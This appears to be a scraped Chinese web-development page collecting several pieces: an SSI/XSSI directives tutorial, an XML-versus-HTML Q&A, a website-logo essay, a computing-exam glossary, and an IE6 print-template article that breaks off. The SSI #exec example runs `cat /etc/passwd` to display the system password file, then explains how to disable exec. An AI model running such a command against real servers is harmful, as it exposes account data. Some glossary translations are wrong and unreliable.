Admin程序中的Mapping标签,扩展名添加内容类型为:wwwserver/html-ssi Cern服务器不支持SSI,可用SSI诈骗法,到http://sw.cse.bris.ac.uk/WebTools/fakessi.html 上下载一个PERL脚本,即可使你的CERN服务器使用一些SSI指令。(不支持exec指令。) SSI指令基本格式 SSI指令基本格式: 程序代码:
<!-– 指令名称="指令参数"> <!-– 指令名称="指令参数"> 如 程序代码:
<!--#include file="info.htm"--> <!--#include file="info.htm"--> 说明: 1.<!-- -->是HTML语法中表示注释,当WEB服务器不支持SSI时,会忽略这些信息。 2.#include 为SSI指令之一。 3.file 为include的参数, info.htm为参数值,在本指令中指将要包含的文档名。
注意:
1.<!--与#号间无空格,只有SSI指令与参数间存在空格。 2.上面的标点="",一个也不能少。 3.SSI指令是大小写敏感的,因此参数必须是小写才会起作用。 SSI指令使用详解
#echo 示范 作用: 将环境变量插入到页面中。 语法: 程序代码:
<!--#echo var="变量名称"--> <!--#echo var="变量名称"-->
本文档名称:程序代码:
<!--#echo var="DOCUMENT_NAME"--> <!--#echo var="DOCUMENT_NAME"--> 现在时间:程序代码:
<!--#echo var="DATE_LOCAL"--> <!--#echo var="DATE_LOCAL"--> 你的IP地址是程序代码:
<!--#echo var="REMOTE_ADDR"--> <!--#echo var="REMOTE_ADDR"-->
#include 示范 作用: 将文本文件的内容直接插入到文档页面中。 语法: 程序代码:
<!--#include file="文件名称"--> <!--#include virtual="文件名称"--> <!--#include file="文件名称"--> <!--#include virtual="文件名称"--> file 文件名是一个相对路径,该路径相对于使用 #include 指令的文档所在的目录。被包含文件可以在同一级目录或其子目录中,但不能在上一级目录中。如表示当前目录下的的nav_head.htm文档,则为file="nav_head.htm"。 virtual 文件名是 Web 站点上的虚拟目录的完整路径。如表示相对于服务器文档根目录下hoyi目录下的nav_head.htm文件;则为file="/hoyi/nav_head.htm" 参数: file 指定包含文件相对于本文档的位置 virtual 指定相对于服务器文档根目录的位置 注意: 1、文件名称必须带有扩展名。 2、被包含的文件可以具有任何文件扩展名,我觉得直接使用htm扩展名最方便,微软公司推荐使用 .inc 扩展名(这就看你的爱好了)。 示例: 程序代码:
<!--#include file="nav_head.htm"-->将头文件插入到当前页面 <!--#include file="nav_foot.htm"-->将尾文件插入到当前页面 <!--#include file="nav_head.htm"-->将头文件插入到当前页面 <!--#include file="nav_foot.htm"-->将尾文件插入到当前页面
#flastmod 和#fsize 示范 作用: #flastmod 文件最近更新日期 #fsize 文件的长度 语法: 程序代码:
<!--#flastmod file="文件名称"--> <!--#fsize file="文件名称"--> <!--#flastmod file="文件名称"--> <!--#fsize file="文件名称"--> 参数: file 指定包含文件相对于本文档的位置 如 info.txt 表示当前目录下的的info.txt文档 virtual 指定相对于服务器文档根目录的位置 如 /hoyi/info.txt 表示 注意: 文件名称必须带有扩展名。 示例: 程序代码:
<!--#flastmod file="news.htm"--> <!--#flastmod file="news.htm"--> 将当前目录下news.htm文件的最近更新日期插插入到当前页面 程序代码:
<!--#fsize file="news.htm"--> <!--#fsize file="news.htm"--> 将当前目录下news.htm的文件大小入到当前页面 #exec 示范 作用: 将某一外部程序的输出插入到页面中。可插入CGI程序或者是常规应用程序的输入,这取决于使用的参数是cmd还是cgi。 语法: 程序代码:
<!--#exec cmd="文件名称"--> <!--#exec cgi="文件名称"--> <!--#exec cmd="文件名称"--> <!--#exec cgi="文件名称"--> 参数: cmd 常规应用程序 cgi CGI脚本程序 示例: 程序代码:
<!--#exec cmd="cat /etc/passwd"-->将会显示密码文件 <!--#exec cmd="dir /b"-->将会显示当前目录下文件列表 <!--#exec cgi="/cgi-bin/gb.cgi"-->将会执行CGI程序gb.cgi。 <!--#exec cgi="/cgi-bin/access_log.cgi"-->将会执行CGI程序access_log.cgi。 <!--#exec cmd="cat /etc/passwd"-->将会显示密码文件 <!--#exec cmd="dir /b"-->将会显示当前目录下文件列表 <!--#exec cgi="/cgi-bin/gb.cgi"-->将会执行CGI程序gb.cgi。 <!--#exec cgi="/cgi-bin/access_log.cgi"-->将会执行CGI程序access_log.cgi。 注意: 从上面的示例可以看出,这个指令相当方便,但是也存在安全问题。 禁止方法: .Apache,将access.conf中的"Options Includes ExecCGI"这行代码删除; .在IIS中,要禁用 #exec 命令,可修改 SSIExecDisable 元数据库;
#config 作用: 指定返回给客户端浏览器的错误信息、日期和文件大小的格式。 语法: 程序代码:
<!--#config errmsg="自定义错误信息"--> <!--#config sizefmt="显示单位"--> <!--#config timefmt="显示格式"--> <!--#config errmsg="自定义错误信息"--> <!--#config sizefmt="显示单位"--> <!--#config timefmt="显示格式"--> 参数: errmsg 自定义SSI执行错误信息,可以为任何你喜欢的方式。 sizefmt 文件大小显示方式,默认为字节方式("bytes"可以改为千字节方式("abbrev" timefmt 时间显示方式,最灵活的配置属性。 示例: 显示一个不存在文件的大小 程序代码:
<!--#config errmsg="服务器执行错误,请联系管理员 yiho@126.com,谢谢!"--> <!--#fsize file="不存在的文件.htm"--> <!--#config errmsg="服务器执行错误,请联系管理员 yiho@126.com,谢谢!"--> <!--#fsize file="不存在的文件.htm"--> 以千字节方式显示文件大小 程序代码:
<!--#config sizefmt="abbrev"--> <!--#fsizefile="news.htm"--> <!--#config sizefmt="abbrev"--> <!--#fsizefile="news.htm"--> 以特定的时间格式显示时间 程序代码:
<!--#config timefmt="%Y年/%m月%d日 星期%W 北京时间%H:%M:%s,%Y年已过去了%j天 今天是%Y年的第%U个星期"--> <!--#echo var="DATE_LOCAL"--> 显示今天是星期几,几月,时区 <!--#config timefmt="今天%A, %B ,服务器时区是 %z,是"--> <!--#echo var="DATE_LOCAL"--> <!--#config timefmt="%Y年/%m月%d日 星期%W 北京时间%H:%M:%s,%Y年已过去了%j天 今天是%Y年的第%U个星期"--> <!--#echo var="DATE_LOCAL"--> 显示今天是星期几,几月,时区 <!--#config timefmt="今天%A, %B ,服务器时区是 %z,是"--> <!--#echo var="DATE_LOCAL"-->
XSSI XSSI(Extended SSI)是一组高级SSI指令,内置于Apache 1.2或更高版本的mod-include模块之中。 其中可利用的的指令有: #printenv #set #if #printenv 作用: 显示当前存在于WEB服务器环境中的所有环境变量。 语法:程序代码:
<!--#printenv--> <!--#printenv--> 参数:无 示例: 程序代码:
<!--#printenv--> <!--#printenv-->
#set 作用:可给变量赋值,以用于后面的if语句。 语法:程序代码:
<!--#set var="变量名"value="变量值"--> <!--#set var="变量名"value="变量值"--> 参数:无 示例: 程序代码:
<!--#set var="color"value="红色"--> <!--#set var="color"value="红色"-->
#if 作用: 创建可以改变数据的页面,这些数据根据使用if语句时计算的要求予以显示。 语法: 程序代码:
<!--#if expr="$变量名=\"变量值A\""--> 显示内容 <!--#elif expr="$变量名=\"变量值B\""--> 显示内容 <!--#else--> 显示内容 <!--#endif"--> <!--#if expr="$变量名=\"变量值A\""--> 显示内容 <!--#elif expr="$变量名=\"变量值B\""--> 显示内容 <!--#else--> 显示内容 <!--#endif"--> 示例: 程序代码:
<!--#if expr="$SERVER_NAME=\"hoyi.zb169.net\""--> 欢迎光临好易CGI工厂在淄博热线的分站http://hoyi.zb169.net。 <!--#elif expr="$SERVER_NAME=\"linux.cqi.com.cn\"" --> 欢迎光临好易CGI工厂在太阳城的分站http://linux.cqi.com.cn/~hoyi。 <!--#else--> 欢迎光临好易CGI工厂! <!--#endif"--> <!--#if expr="$SERVER_NAME=\"hoyi.zb169.net\""--> 欢迎光临好易CGI工厂在淄博热线的分站http://hoyi.zb169.net。 <!--#elif expr="$SERVER_NAME=\"linux.cqi.com.cn\"" --> 欢迎光临好易CGI工厂在太阳城的分站http://linux.cqi.com.cn/~hoyi。 <!--#else--> 欢迎光临好易CGI工厂! <!--#endif"--> 注意: 用于前面指令中的反斜杠,是用来代换内部的引号,以便它们不会被解释为结束表达式。不可省略。
1、Config命令
Config命令主要用于修改SSI的默认设置。其中:
Errmsg:设置默认错误信息。为了能够正常的返回用户设定的错误信息,在HTML文件中Errmsg参数必须被放置在其它SSI命令的前面,否则客户端只能显示默认的错误信息,而不是由用户设定的自定义信息。
<!--#config errmsg="Error! Please email webmaster@mydomain.com -->
Timefmt:定义日期和时间的使用格式。Timefmt参数必须在echo命令之前使用。
<!--#config timefmt="%A, %B %d, %Y"--> <!--#echo var="LAST_MODIFIED" -->
显示结果为:
Wednesday, April 12, 2000
也许用户对上例中所使用的%A %B %d感到很陌生,下面我们就以表格的形式总结一下SSI中较为常用的一些日期和时间格式。
Sizefmt:决定文件大小是以字节、千字节还是兆字节为单位表示。如果以字节为单位,参数值为"bytes";对于千字节和兆字节可以使用缩写形式。同样,sizefmt参数必须放在fsize命令的前面才能使用。
<!--#config sizefmt="bytes" --> <!--#fsize file="index.html" -->
2、Include命令
Include命令可以把其它文档中的文字或图片插入到当前被解析的文档中,这是整个SSI的关键所在。通过Include命令只需要改动一个文件就可以瞬间更新整个站点!
Include命令具有两个不同的参数:
Virtual:给出到服务器端某个文档的虚拟路径。例如:
<!--#include virtual="/includes/header.html" -->
File:给出到当前目录的相对路径,其中不能使用"../",也不能使用绝对路径。例如:
<!--#include file="header.html" -->
这就要求每一个目录中都包含一个header.html文件。
3、Echo命令
Echo命令可以显示以下各环境变量:
DOCUMENT_NAME:显示当前文档的名称。
<!--#echo var="DOCUMENT_NAME" -->
显示结果为:
index.html
DOCUMENT_URI:显示当前文档的虚拟路径。例如:
<!--#echo var="DOCUMENT_URI" -->
显示结果为:
/YourDirectory/YourFilename.html
随着网站的不断发展,那些越来越长的URL地址肯定会让人头疼。如果使用SSI,一切就会迎刃而解。因为我们可以把网站的域名和SSI命令结合在一起显示完整的URL,即:
http://YourDomain<!--#echo var="DOCUMENT_URI" -->
QUERY_STRING_UNESCAPED:显示未经转义处理的由客户端发送的查询字串,其中所有的特殊字符前面都有转义符"\"。例如:
<!--#echo var="QUERY_STRING_UNESCAPED" -->
DATE_LOCAL:显示服务器设定时区的日期和时间。用户可以结合config命令的timefmt参数,定制输出信息。例如:
<!--#config timefmt="%A, the %d of %B, in the year %Y" --> <!--#echo var="DATE_LOCAL" -->
显示结果为:
Saturday, the 15 of April, in the year 2000
DATE_GMT:功能与DATE_LOCAL一样,只不过返回的是以格林尼治标准时间为基准的日期。例如:
<!--#echo var="DATE_GMT" -->
LAST_MODIFIED:显示当前文档的最后更新时间。同样,这是SSI中非常实用的一个功能,只要在HTML文档中加入以下这行简单的文字,就可以在页面上动态的显示更新时间。
<!--#echo var="LAST_MODIFIED" -->
CGI环境变量
除了SSI环境变量之外,echo命令还可以显示以下CGI环境变量:
SERVER_SOFTWARE:显示服务器软件的名称和版本。例如: <!--#echo var="SERVER_SOFTWARE" --> SERVER_NAME: 显示服务器的主机名称,DNS别名或IP地址。例如: <!--#echo var="SERVER_NAME" --> SERVER_PROTOCOL:显示客户端请求所使用的协议名称和版本,如HTTP/1.0。例如: <!--#echo var="SERVER_PROTOCOL" --> SERVER_PORT:显示服务器的响应端口。例如: <!--#echo var="SERVER_PORT" --> REQUEST_METHOD:显示客户端的文档请求方法,包括GET, HEAD, 和POST。例如: <!--#echo var="REQUEST_METHOD" --> REMOTE_HOST:显示发出请求信息的客户端主机名称。 <!--#echo var="REMOTE_HOST" --> REMOTE_ADDR:显示发出请求信息的客户端IP地址。 <!--#echo var="REMOTE_ADDR" --> AUTH_TYPE:显示用户身份的验证方法。 <!--#echo var="AUTH_TYPE" --> REMOTE_USER:显示访问受保护页面的用户所使用的帐号名称。 <!--#echo var="REMOTE_USER" --> 4、Fsize:显示指定文件的大小,可以结合config命令的sizefmt参数定制输出格式。
<!--#fsize file="index_working.html" -->
5、Flastmod:显示指定文件的最后修改日期,可以结合config 命令的timefmt参数控制输出格式。
<!--#config timefmt="%A, the %d of %B, in the year %Y" --> <!--#flastmod file="file.html" -->
这里,我们可以利用flastmod参数显示出一个页面上所有链接页面的更新日期。方法如下:
<!--#config timefmt=" %B %d, %Y" --> <A HREF="/directory/file.html">File</A> <!--#flastmod virtual="/directory/file.html" --> <A HREF="/another_directory/another_file.html">Another File</A> <!--#flastmod virtual="/another_directory/another_file.html" --> 显示结果为: File April 19, 2000 Another File January 08, 2000
6、Exec
Exec命令可以执行CGI脚本或者shell命令。使用方法如下:
Cmd:使用/bin/sh执行指定的字串。如果SSI使用了IncludesNOEXEC选项,则该命令将被屏蔽。
Cgi:可以用来执行CGI脚本。例如,下面这个例子中使用服务端cgi-bin目录下的counter.pl脚本程序在每个页面放置一个计数器:
<!--#exec cgi="/cgi-bin/counter.pl" --> |
|
回答XML与HTML的区别
|
Q: 不知xml和html有什么区别?它们不同在哪?
A: 关于XML和HTML区别请参考:
http://www.w3c.org/MarkUp/ http://www.w3c.org/XML/
“可扩展标记语言”(XML) 提供一种描述结构化数据的方法。与主要用于控制数据的显示和外观的 HTML 标记不同,XML 标记用于定义数据本身的结构和数据类型。
XML 使用一组标记来描绘数据元素。每个元素封装可能十分简单也可能十分复杂的数据。您可以定义一组无限制的 XML 标记。例如,您可以定义一些 XML 标记来声明订单中的数据,如价格、税收、发货地址、帐单地址等等。由于 XML 标记在整个单位中以及跨单位采用,因此来自各种不同数据存储区的数据将更容易交换和操作。
XML 是一种简单、与平台无关并被广泛采用的标准。XML 相对于 HTML 的优点是它将用户界面与结构化数据分隔开来。这种数据与显示的分离使得集成来自不同源的数据成为可能。客户信息、订单、研究结果、帐单付款、病历、目录数据及其他信息都可以转换为 XML。
XML 与 HTML 以下是要记住的有关 XML 与 HTML 之间关系的几个要点:
a.. XML 不是要替换 HTML;实际上 XML 可以视作对 HTML 的补充。XML 和 HTML 的目标不同:HTML 的设计目标是显示数据并集中于数据外观,而 XML 的设计目标是描述数据并集中于数据的内容。 b.. 与 HTML 相似,XML 不进行任何操作。虽然 XML 标记可用于描述订单之类的项的结构,但它不包含可用于发送或处理该订单以及确保按该订单交货的任何代码。其他人必须编写代码来实际对 XML 格式的数据执行这些操作。 c.. 与 HTML 不同,XML 标记由架构或文档的作者定义,并且是无限制的。HTML 标记则是预定义的;HTML 作者只能使用当前 HTML 标准所支持的标记。
XML 的使用 XML 是一种极灵活的、传递数据的方式。以下全部是可使用 XML 的场合的示例:
a.. 普通文档 b.. 结构化记录,如约会记录或订单 c.. 移动数据的 Internet/Intranet Web 应用程序 d.. 带有数据的对象,如对象或 ActiveX 控件的持久格式 e.. 数据记录,如查询的结果集 f.. Web 站点的元内容,如“信道定义格式”(CDF) g.. 图形显示,如应用程序的用户界面 h.. Web 上信息与人的链接 i.. C# 代码(可以用 XML 形式);有关更多信息,请参见 XML 文档 j.. 用于定位可用 XML Web services 的发现文档;有关更多信息,请参见 XML Web services 发现。
以下列出存储信息时 XML 相对于其他格式的若干优越性:
a.. XML 格式是基于文本的,这使得它们更容易读、更便于记录,有时也更便于调试。 b.. XML 文档可使用已为 HTML 建立的很多基础结构,包括 HTTP 协议和某些浏览器。HTTP 允许穿过防火墙传输 XML。 c.. XML 分析已有完善的定义,且已广泛应用,使得在各种环境中从 XML 文档检索信息成为可能。 d.. 应用程序可依赖 XML 分析器进行某些结构验证以及数据类型检查(当使用架构时)。 e.. XML 建立在 Unicode 基础上,使得创建国际化文档更容易。不过,XML 并不适合于所有情况。XML 文档往往比它们替换的二进制格式详细。它们占用更多的网络带宽和存储空间,或需要更多的处理器时间进行压缩。XML 分析可能比分析高度优化的二进制格式慢,并且可能需要更多内存。然而,精心的应用程序设计能够 避免一些问题。
验证 XML 文档 若要验证 XML 文档包含所需数据和结构,必须将一个 XML 架构与 XML 文档相关联。XML 架构是定义如何构造元素和属性来形成 XML 文档的规则。您可以在单位之间共享架构,以使得传输和处理共享数据变得简单。有关更多信息,请参见 XML 架构介绍。
显示 XML 数据 有几种方式可用于显示(或提供)XML 数据。
还有数据绑定的机制可与样式表一起使用,以便以可视形式展示 XML 数据,以及添加交互性。
以下是显示 XML 的几种方法:
a.. XSLT — 可扩展样式表语言 b.. CSS — 级联样式表 c.. Microsoft Internet Explorer 有关更多信息,请参见 MSDN Online XML 开发人员中心 Web 站点 (http://msdn.microsoft.com/xml/default.asp)。
XML 资源 如果您熟悉 HTML,则可以学习创建 XML 文档,只要求它们有效且符合标准格式。有关 XML 的更多信息,请参见 XML SDK 和 MSDN Online XML 开发人员中心 Web 站点 (http://msdn.microsoft.com/xml/default.asp)。
有关更多信息,请参见万维网联合会 (W3C) 的 XML 规范 (http://www.w3.org/XML/)。
Q: 那为什么有很多大型的网站,还是用html而不是xml呢?
A:XML和HTML实质上是不一样的,你说大型站点使用HTML,如果是静态数据用HTML速度当然最快了,但是维护欠佳! 一般使用XML+CSS进行站点设计,但XML+CSS局限性比较大,还是用XML+XSLT吧
Q: 现在我直接用xml开发一个网站,再直接上传到现在提供的普通静态空间,它能显示吗?
A: 如果可以假定用户都使用(或至少装置了)IE6就没有什么问题。
如果用户使用其它浏览器,那就应该在服务器端进行XML->HTML的转换,普通静态空间不支持。可以选支持XMLDOM的ASP或PHP空间。因此运行环境是不同的 |
|
网站LOGO简论
|
网上逛来逛去,也找不到一篇能全面讲述LOGO的文章,这也证明ONLY LOOG乃开此类之先河。Poorfish只好勉为其难,亲自操刀,凑出了以下的几段文字,自己也觉写得很是简单、浅溥,如果有什么问题,请您不吝指教。非常欢迎转载,请注明作者及出处。
一、什么是LOGO
翻开字典,我们可以找到这样的解释:“ logo: n.标识语 ”。在电脑领域而言,LOGO是标志、徽标的意思。而本站主要所收集的LOGO,是互联网上各个网站用来与其它网站链接的图形标志。
二、LOGO的作用
1.LOGO是与其它网站链接以及让其它网站链接的标志和门户。 INTERNET之所以叫做“互联网”,在于各个网站之间可以联接。要让其他人走入你的网站,必须提供一个让其进入的门户。而LOGO图形化的形式,特别是动态的LOGO,比文字形式的链接更能吸引人的注意。在如今争夺眼球的时代,这一点尤其重要。 2.LOGO是网站形象的重要体现。 试问一个衣冠楚楚的人怎么能让自己的名片污渍不堪?就一个网站来说,LOGO即是网站的名片。而对于一个追求精美的网站,LOGO更是它的灵魂所在,即所谓的“点睛”之处。 3.LOGO能使受众便于选择。 一个好的LOGO往往会反映网站及制作者的某些信息,特别是对一个商业网站来话,我们可以从中基本了解到这个网站的类型,或者内容。在一个布满各种LOGO的链接页面中,这一点会突出的表现出来。想一想,你的受众要在大堆的网站中寻找自己想要的特定内容的网站时,一个能让人轻易看出它所代表的网站的类型和内容的LOGO会有多重要。
三、LOGO的国际标准规范
为了便于INTERNET上信息的传播,一个统一的国际标准是需要的。实际上已经有了这样的一整套标准。其中关于网站的LOGO,目前有三种规格: 1.88*31 这是互联网上最普遍的LOGO规格,本站所收集的均是这种大小。 2.120*60 这种规格用于一般大小的LOGO。 3.120*90 这种规格用于大型LOGO。
四、LOGO的制作工具和方法
好像目前并没有专门制作LOGO的软件,其实也并不需要这样的一种软件。我们平时所使用的图像处理软件或者还加上动画制作软件(如果你要做一个动画的LOGO的话)都可以很好地胜任这份工作,如PHOTOSHOP、FIREWORKS等。而LOGO的制作方法也和制作普通的图片及动画没什么两样,不同的只是规定了它的大小而已。
五、一个好的LOGO应具备的条件
Poorfish认为,一个好的LOGO应具备以下的几个的条件,或者具备其中的几个条件: 1.符合国际标准(废话) 2.精美、独特 3.与网站的整体风格相融 4.能够体现网站的类型、内容和风格 |
|
计算机等级考试四级考试中英文术语对照
|
全国计算机等级考试四级考试中英文术语对照中英文术语对照 absence 缺席 access 访问存取通路进入 achieve 实现完成 acquire 获得 adjacency list method 邻接表表示法 adjacency matrix method 邻接矩阵表示法 algorithm 算法 allocate 留下分配 analog 推论 append 添加 archive 档案归档 array 数组 assign 分配 assume 假设 assurance 确信信任 ATM(asynchronous transfer mode) 异步传输模式 b.. real programs kernels 实程序 核心程序 b.. toy benchmark synthetic benchmark 简单基准程序 复合基准程序 balance 平衡 bandwidth 带宽 batch 一批一组 benchmark 基准测试程序 best-fit algorithm 最佳适应算法 BFS(breadth first search) 广度优先搜索法 binary 二进制 binary relation 二元关系 binary tree 二叉树 bit series 比特序列 black-box white-box 黑盒 白盒 block miss 块失效 blocked 阻塞( 等待状态也称阻塞或 封锁状态) boundary 界线分界 bridge 网桥 bubble sort 冒泡排序 calculation 计算 candidate key 候选键(辅键) capability 能力才能 capacity 容量 cartesian product 笛卡尔积 CASE(com.. aided sof.. engineering) 计算机辅助软件工程 CCP(communication control processor) 通信控制处理机 cell 信元 characteristic 特征特性 circuit switching 线路交换 circular wait 循环等待 CISC(complex instruction set computer) 复杂指令集计算机 class 类 Client/Server 客户机/服务器 clock cycle clock rate 时钟周期 时钟频率 coaxial cable 同轴电缆 cohesion coupling 内聚 耦合 coincidental logical procedural functional 偶然内聚 逻辑内聚 过程内聚 功能内聚 combination 联合配合 common 公用的 共同的 communication 通信 complement number 补码 component 成分 concept 概念观念 condition 情况状况 conform 符合 consist 组成存在 constrain 约束 contain 包含 correspond (corresponding) 相符合(相应的 一致的) CPETT 计算机性能评价工具与技术 CPI 每条指令需要的周期数 CSMA/CD 带冲突检测的载波监听多路访问 cursor 游标 cyclic redundency check 循环冗余检校 database: integrity consistency restory 完整性 一致性 可恢复性 database: security efficiency 数据库设计的目标: 安全性 效率 deadlock: mutual exclusion 死锁条件: 互斥 deadlock: circular wait no preemption 死锁条件:循环等待 无优先权 decimal 十进位的 decision 决定判断 decomposition 双重的 混合的 decrease 减少 definition 定义 definition phase 定义阶段 demonstrate 证明 design phase 设计阶段 determine 限定 development phase 开发阶段 DFS(depth first search) 深度优先搜索法 diagram 图表 Difference Manchester 差分曼彻斯特 directed graph undirected graph 有向图 无向图 distinguish 辩认区别 distributed system 分布式系统 divide division 分开除 除法 divide union intersection difference 除 并 交 差 document 文件文档 DQDB(distributed queue dual bus) 分布队列双总线 draw 绘制 dual 二元的 双的 dynamic design process 动态定义过程 element 元素要素 elevator (scan) algorithm 电梯算法 又称扫描算法 encapsulation inheritance 封装( 压缩) 继承( 遗传) encode 译成密码 entity 实体 entity integrity rule 实体完整性规则 equal 相等的 equation 方程式 等式 estimate 估计判断 Ethernet 以太网 evolution 发展演化 exceed 超过 exchange sort 交换排序 exclusive locks 排它锁(简记为X 锁) execute 实现执行 exhibit 表现展示陈列 existence 存在发生 expertise 专门技术 external(internal) fragmentation 外( 内) 碎片 fault page fault 中断 过错 页中断 FDDI(fiber distributed data interface) 光纤分布式数据接口 FDM(frequency division multiplexing 频分多路复用 fiber optic cable 光缆 FIFO replacement policy 先进先出替换算法 figure 数字图形 final 最后的 最终的 first normal form 第一范式 floppy 活动盘片(软盘) foreign key domain tuple 外来键 值域 元组 form 形状形式 formula 公式 表达式 foundation 基础根据基金 frame page frame 帧 结构 页结构 frequency 频率 FTP 文件传送服务 function 函数 functionally dependent 函数依赖 gateway 网间连接器 gather 聚集采集推测 general-purose registers 通用寄存器 generate 产生 grade 等级标准 graph (graphic) 图 Gropher 将用户的请求自动转换成 FTP guarantee 保证确定 hash table hash function collision 哈希表哈希函数( 散列函数)碰撞 HDLC 面向比特型数据链路层协议 hit rate 命中率 host 主计算机 host language statement 主语言语句 hypertext 超级文本 illustrate 举例说明 independent 独立的 index 索引 indirect 间接的 influence 有影响的 initially 最初开头 insertion sort 插入排序 instruction format 指令格式 instruction set 指令集 interface 接口 分界面 连接体 internal 内部的 内在的 interrupt 中断 IPC 工业过程控制 ISAM VSAM 索引顺序存取方法虚拟存储存取方法 join natural join semijoin 连接 自然连接 半连接 judgment 判断 kernel executive supervisor user 核心执行管理用户 kernels 核心程序 key comparison 键(码)值比较 LAN(local area network) 局域网 load 负载载入 logical functional 逻辑内聚 功能内聚 longitudinal 水平的 loop 圈环状 maintain 维护保养供给 maintanence phase 维护( 保养) 阶段 MAN(metropclitan area network) 城域网 Manchester 曼彻斯特 map 地图 映射图 matrix 矩阵点阵 memory reference 存储器参量 message switching 报文交换 method 方法 技巧 MFLOP(million floating point operate p s 每秒百万次浮点运算 minimum 最小的 MIPS(millions of instructions per second 每秒百万条指令 module 单位基准 monitor (model benchmark physcal) method 监视( 模型基准物理)法 multilevel data flow chart 分层数据流图 multiple 复合的 多样的 multiple-term formula 多项式 multiplexing 多路复用技术 multiplication 乘法 mutual exclusion 互相 排斥 non-key attributes 非码属性 null 零空 Nyquist 奈奎斯特 object oriented 对象 趋向的 使适应的 object oriented analysis 面向对象的分析 object oriented databases 面向对象数据库 object oriented design 面向对象的设计 object oriented implementation 面向对象的实现 obtain 获得 occupy 占有 居住于 occurrence 事件 odd 奇数的 one-dimensional array 一维数组 OODB(object oriented data base) 面向对象数据库 OOM(object oriented method) 面向对象的方法 oom: information object message class 信息 对象 消息 类 oom: instance method message passing 实例 方法 消息传递 open system 开放系统 operand 操作数 optimized 尽量充分利用 optional 任选的 非强制的 organize 组织 overflow 溢出 overlapping register windows 重叠寄存器窗口 packet switching 报文分组交换 page fault 页面失效 page replacement algorithm 页替换算法 paged segments 段页式管理 PCB(process control block) 进程控制块 peer entites 对等实体 perform 表演执行 period 时期周期 permit 许可准许 phase 阶段局面状态 physical data link network layer 物理层 数据链路层 网络层 pipeline 管道 platter track cluster 面 磁道 簇 predicate 谓语 preemption 有优先权的 prefix (Polish form) 前缀 (波兰表达式) preorder inorder postorder 前序 中序 后序 presentation application layer 表示层 应用层 primary key attributes 主码属性 principle 原则方法 procedural coincidental 过程内聚 偶然内聚 process 过程加工处理 proficient 精通 program debugging 程序排错 projection selection join 投影选择连接 proposition 主张建议陈述 protocal 协议 prototype 原型样板 prototyping method (model) 原型化周期 (模型) pseudo-code 伪码( 又称程序设计语言PDL) punctuation 标点 purpose 目的意图 quality 质量品质 queue 队列 ready blocked running 就绪 阻塞( 等待) 运行 real page number 实页数 real programs 实程序 redirected 重定向 redundency 冗余 reference integrity rule 引用完整性规则 referred to as 把.....当作 regarde 关于 register(registry) 寄存器 登记 注册 挂号 regularly 定期的 常规的 relation 关系 relay 中继 reliability 可信赖的 repeater 中继器 replacement 替换 represent 代表象征 request indication response confirm 请求 指示 响应 确认 resource 资源 respon 回答响应 RISC(reduced instruction set computer) 精简指令集计算机 robustness 健壮性 router 路由器 scheme 计划图表 sector head cylinder 扇区 磁头 柱面 selection sort 选择排序 semaphores 信号 sequence 序列顺序 Shanon 香农 share locks 共享锁(简记为S 锁) short path critical path 最短路径 关键路径 signal 信号 signal-to-noise ratio 信噪比 B/N similar 相似的 SISD SIMD MISD MIMD * 指令流 * 数据流 SMDS 交换多兆位数据服务 software development phase 软件开发阶段 software engineering 软件工程 software portability 软件可移植性 software requirements specification 软件需求说明书 solve 解决 sort 种类方式分类排序 spanning tree 跨越树 (生成树) specify 指定说明 speedup 加速比 SSTF(shortest-seek-time-first) 最短寻道时间优先( 磁盘调 度算法) stack strategy non-stack strategy 堆栈型 非堆栈型 starvation 饥饿匮乏 statement 陈述 storage 贮藏库 store procdures 存储过程 strategy 战略兵法计划 strict 严密的 styles 文体风格 subgroup 循环的 subset 子集 子设备 superclass subclass abstract class 超类 子类 抽象类 suppose 假定 symbolic 象征的 符号的 synthetic benchmark 复合基准程序 system testing 系统测试 Systolic 脉动阵列 table 表表格桌子 TDM(time division multiplexing) 时分多路复用 technology 工艺技术 terminal 终端 testing phase 测试阶段 theta select project theta join θ选择 投影 θ连接 time complexity 时间复杂度 timestamping 时标技术 Token Bus 令牌总线 Token Ring 令牌环 toy benchmark 简单基准程序 transaction 事务记录 transmite 传送 transport layer session layer 传输层 会话层 traversal method 遍历方法 triggers store procedures 触发器 存储过程 (ORACLE 系统) underflow 下溢 unique 唯一的 unit system acceptance testing 单元测试 系统测试 确认测试 universe 宇宙 全世界 update 更新 value [数]值 variable 变量 vertical 垂直的 vertice edge 顶点( 结点) 边 via 经过 virtual memory system 虚拟存储系统 WAN(wide area network) 广域网 waterfall model 瀑布模型 white noise 白噪声 write-back(copy-back) 写回法 write-through(store-through) 写直达法 WWW(world wide web) 万维网 |
|
IE6.0打印机制解析
|
来源: 未知
作者: yzsind
更新日期: [2005-03-12]
摘自 http://www.cjsdn.net/post/view?bid=29&id=98728&sty=1&tpg=1&age=0
网页打印,可以通过浏览器的"打印"功能实现,但"打印模板"机制,却是 IE 5.5 /6.0 以及 Netscape 6.0 所独有的;准确一点, IE 5.5 只是一个机制雏形,在 IE 6.0 中才得以完全体现。IE 6.0 的打印功能模块,在精确控制页面边界,文本间隔,以及打印的统一性上,功能更为完备。 通过创建打印模板,你可以精确控制:
网页打印及预览时的页面风格与内容编排风格; 打印属性,如自动为打印的页面添加卷标或编号; 精确控制打印预览界面的各个元素与变量。
通过打印模板,你可以:
自动为所有打印页面添加固定内容,如公司标识,版权申明,或者指定广告; 自定义页面标头与尾注等元素,比如页码或卷标; 指定打印历史与任务; 书本化奇偶分页映射打印......
打印模板机制是建立在动态 HTML 语言基础上的,涉及到主要两个行为:DeviceRect, LayoutRect ,下面我们就这两个行为深入地探讨 IE 6.0 的打印机制。
另外需要说明的是,DHTML (动态超文本标识语言)的行为跟其他语言的"行为"一样,都是一种应用编程接口,初始状态下有自己的默认属性,在一定的事件下,由用户决定调用其承认的功能模块,从而产生相对应的"行为"。而且,"行为"可以自己编写,不过得以".htc"为其扩展名以供调用。
一.DeviceRect ,定义打印总体风格:
打印总体风格,包括为打印页面添加如公司标识的固定内容(网页上不一定有,只体现在打印纸张上或预览页面上,后同);打印页面的颜色风格;打印页面的边缘属性或图案;等等。
在进行 DeviceRect 引用前,先得确定页面风格,方法是用<style>进行设置。
例一:我们来定制如下的打印模板 8.5 inch 宽 11 inch 高 黄色背景 1 pixel 宽的黑色实心左边界 1 pixel 宽的黑色实心上边界 4 pixels 宽的黑色实心右边界 4 pixels 宽的黑色实心下边界 所有边界与纸张边缘为 10 pixels 的距离
现在我们用 style 进行设定,假设这个 style 名为 Mystyle1:
